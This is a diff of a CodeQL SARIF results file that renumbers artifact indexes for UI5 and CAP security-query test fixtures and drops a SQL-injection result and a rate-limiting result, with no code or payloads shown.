-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 270
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 271
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/model.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 272
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 273
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 274
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 275
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 276
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 277
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 278
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 279
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 280
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 281
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 282
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 283
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 284
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 285
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 286
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 287
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 288
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 289
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 290
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 291
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 292
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 293
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 294
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 295
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 296
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 297
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 298
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 299
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 300
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 301
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 302
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 303
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 304
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 305
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 306
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 307
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 308
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 309
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 310
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 311
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 312
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 313
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 314
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 315
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 316
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 317
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 318
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 319
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 320
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 321
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 322
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 323
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 324
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 325
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 326
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 327
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 328
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 329
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 330
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 331
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 332
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 333
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 334
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 335
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.html",
+        "uri" : "javascript/heuristic-models/tests/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 336
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.js",
+        "uri" : "javascript/heuristic-models/tests/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 337
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/manifest.json",
+        "uri" : "qlt.conf.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 338
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
+        "uri" : "scripts/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 339
       }
     }, {
       "location" : {
-        "uri" : "javascript/heuristic-models/tests/codeql-pack.lock.yml",
+        "uri" : "scripts/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 340
       }
     }, {
       "location" : {
-        "uri" : "javascript/heuristic-models/tests/qlpack.yml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 341
       }
-    }, {
-      "location" : {
-        "uri" : "qlt.conf.json",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 342
-      }
-    }, {
-      "location" : {
-        "uri" : "scripts/codeql-pack.lock.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 343
-      }
-    }, {
-      "location" : {
-        "uri" : "scripts/qlpack.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 344
-      }
     } ],
     "results" : [ {
       "ruleId" : "js/xss",
@@ -14737,145 +14641,6 @@
           "text" : "user-provided value"
         }
       } ]
-    }, {
-      "ruleId" : "js/missing-rate-limiting",
-      "rule" : {
-        "id" : "js/missing-rate-limiting",
-        "index" : 71,
-        "toolComponent" : {
-          "index" : 3
-        }
-      },
-      "message" : {
-        "text" : "This route handler performs [a database access](1), but is not rate-limited."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 1
-          },
-          "region" : {
-            "startLine" : 40,
-            "startColumn" : 25,
-            "endLine" : 44,
-            "endColumn" : 8
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "ac6d3bdd3d52ea9b:1",
-        "primaryLocationStartColumnFingerprint" : "18"
-      },
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 1
-          },
-          "region" : {
-            "startLine" : 41,
-            "startColumn" : 9,
-            "endLine" : 43,
-            "endColumn" : 11
-          }
-        },
-        "message" : {
-          "text" : "a database access"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/sql-injection",
-      "rule" : {
-        "id" : "js/sql-injection",
-        "index" : 72,
-        "toolComponent" : {
-          "index" : 3
-        }
-      },
-      "message" : {
-        "text" : "This query string depends on a [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 1
-          },
-          "region" : {
-            "startLine" : 41,
-            "startColumn" : 20,
-            "endColumn" : 40
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "4fc3122b51f477a1:1",
-        "primaryLocationStartColumnFingerprint" : "11"
-      },
-      "codeFlows" : [ {
-        "threadFlows" : [ {
-          "locations" : [ {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
-                },
-                "region" : {
-                  "startLine" : 41,
-                  "startColumn" : 20,
-                  "endColumn" : 40
-                }
-              },
-              "message" : {
-                "text" : "req2.params.category"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
-                },
-                "region" : {
-                  "startLine" : 41,
-                  "startColumn" : 20,
-                  "endColumn" : 40
-                }
-              },
-              "message" : {
-                "text" : "req2.params.category"
-              }
-            }
-          } ]
-        } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 1
-          },
-          "region" : {
-            "startLine" : 41,
-            "startColumn" : 20,
-            "endColumn" : 40
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
     }, {
       "ruleId" : "js/log-injection",
       "rule" : {
@@ -14893,7 +14658,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 2
+            "index" : 1
           },
           "region" : {
             "startLine" : 26,
@@ -14914,7 +14679,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 23,
@@ -14932,7 +14697,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 23,
@@ -14950,7 +14715,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 23,
@@ -14968,7 +14733,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 23,
@@ -14986,7 +14751,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 26,
@@ -15004,7 +14769,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 26,
@@ -15025,7 +14790,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 2
+            "index" : 1
           },
           "region" : {
             "startLine" : 23,
@@ -15054,7 +14819,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 2
           },
           "region" : {
             "startLine" : 7,
@@ -15075,7 +14840,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 6,
@@ -15093,7 +14858,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 6,
@@ -15111,7 +14876,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 7,
@@ -15129,7 +14894,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 7,
@@ -15150,7 +14915,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 2
           },
           "region" : {
             "startLine" : 6,
@@ -15179,7 +14944,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 2
           },
           "region" : {
             "startLine" : 15,
@@ -15200,7 +14965,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 13,
@@ -15218,7 +14983,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
